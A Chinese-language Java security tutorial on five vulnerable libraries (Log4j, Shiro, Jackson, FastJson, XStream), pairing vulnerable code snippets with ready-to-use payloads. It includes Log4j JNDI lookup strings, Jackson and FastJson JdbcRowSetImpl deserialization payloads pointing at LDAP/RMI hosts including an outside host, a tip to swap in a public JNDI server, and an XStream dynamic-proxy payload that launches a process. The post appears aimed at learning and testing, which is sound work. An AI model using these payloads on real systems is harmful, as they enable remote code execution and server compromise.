JavaSec 基础之五大不安全组件

文章目录

不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

Log4j

Apache的一个开源项目,是一个基于Java的日志记录框架。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

java 复制代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 public String log4j(String content) {
        logger.error(content);
        return "Log4j2 JNDI Injection";
    }

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),

该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

payloadxxxx

java 复制代码
${jndi:rmi://xxxx:1099/xy9t54}
${jndi:ldap://xxxxx:1389/qerodw}

弹计算器本地才能发现,所以我们检测是否为注入可以 yakit dns 外带。

Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。

历史漏洞:https://avd.aliyun.com/search?q=Shiro

登录抓包复制地址

Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

历史漏洞:https://avd.aliyun.com/search?q=Jackson

Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,

攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。

java 复制代码
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(content, Object.class);

payload

复制代码
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]

把 jndi 部分替换成公网

FastJson

历史漏洞:https://avd.aliyun.com/search?q=fastjson

Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

java 复制代码
JSONObject jsonToObject = JSON.parseObject(content);
return jsonToObject.get("name").toString();

版本可以从外部导入库查看也可查看 pom.xml 配置文件

payload:

复制代码
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}

XStream

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。

历史漏洞:https://avd.aliyun.com/search?q=XStream

java 复制代码
 XStream xs = new XStream();
xs.fromXML(content);

payload

这个倒是没用到 jndi,

java 复制代码
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>
相关推荐
没逻辑3 小时前
Post-Quantum HTTPS:未来的安全通信架构
后端·安全
LH_R4 小时前
OneTerm开源堡垒机实战(四):访问授权与安全管控
运维·后端·安全
LH_R1 天前
OneTerm开源堡垒机实战(三):功能扩展与效率提升
运维·后端·安全
你的人类朋友2 天前
什么是API签名?
前端·后端·安全
深盾安全2 天前
ProGuard混淆在Android程序中的应用
安全
CYRUS_STUDIO2 天前
利用 Linux 信号机制(SIGTRAP)实现 Android 下的反调试
android·安全·逆向
白帽黑客沐瑶2 天前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
深盾安全2 天前
符号执行技术实践-求解程序密码
安全
贾维思基2 天前
被监管警告后,我连夜给系统上了“双保险”!
安全
00后程序员张2 天前
iOS App 混淆与加固对比 源码混淆与ipa文件混淆的区别、iOS代码保护与应用安全场景最佳实践
android·安全·ios·小程序·uni-app·iphone·webview